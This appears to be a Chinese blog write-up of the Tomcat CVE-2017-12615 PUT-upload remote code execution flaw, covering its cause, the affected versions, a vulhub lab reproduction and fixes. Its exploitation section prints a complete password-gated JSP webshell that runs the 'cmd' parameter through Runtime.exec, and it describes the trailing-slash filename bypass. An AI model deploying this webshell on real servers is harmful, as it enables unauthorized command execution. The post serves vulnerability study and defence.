CVE-2017-12615 Tomcat远程命令执行漏洞

漏洞简介

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

漏洞原理

org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求

org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。

所以即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。

但是当利用Windows特性绕过文件名检测机制时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件

影响版本

Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

漏洞复现

环境搭建

shell 复制代码
cd /vulhub/tomcat/CVE-2017-12615
docker-compose up -d

漏洞验证

原始数据包如下

将GET修改为PUT,并填写内容(这里解析没成功,改成了/1.jsp/)

进入容器,发现上传成功

若从浏览器访问返回Hello,则证明漏洞存在

漏洞利用

将exp写入jsp并上传

html 复制代码
<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>
</html>

访问即可命令执行

修复建议

升级版本

开启readonly

相关推荐
努力努力再努力wz7 分钟前
【Linux网络系列】深入理解 I/O 多路复用:从 select 痛点到 poll 高并发服务器落地,基于 Poll、智能指针与非阻塞 I/O与线程池手写一个高性能 HTTP 服务器!(附源码)
java·linux·运维·服务器·c语言·c++·python
努力努力再努力wz10 分钟前
【Linux网络系列】万字硬核解析网络层核心:IP协议到IP 分片重组、NAT技术及 RIP/OSPF 动态路由全景
java·linux·运维·服务器·数据结构·c++·python
LaLaLa_OvO15 分钟前
mybatis 引用静态常量
java·mybatis
yaodong51816 分钟前
Spring 中使用Mybatis,超详细
spring·tomcat·mybatis
Han_han91918 分钟前
常用API:
java·开发语言
小锋java123431 分钟前
LangChain4j 来了,Java AI智能体开发再次起飞。。。
java·人工智能·后端
敖正炀36 分钟前
BlockingQueue 详解
java
likerhood1 小时前
java中的return this、链式编程和Builder模式
java·开发语言
spring2997921 小时前
Spring Boot 实战篇(四):实现用户登录与注册功能
java·spring boot·后端
一名优秀的码农1 小时前
vulhub系列-74-Hackable III(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析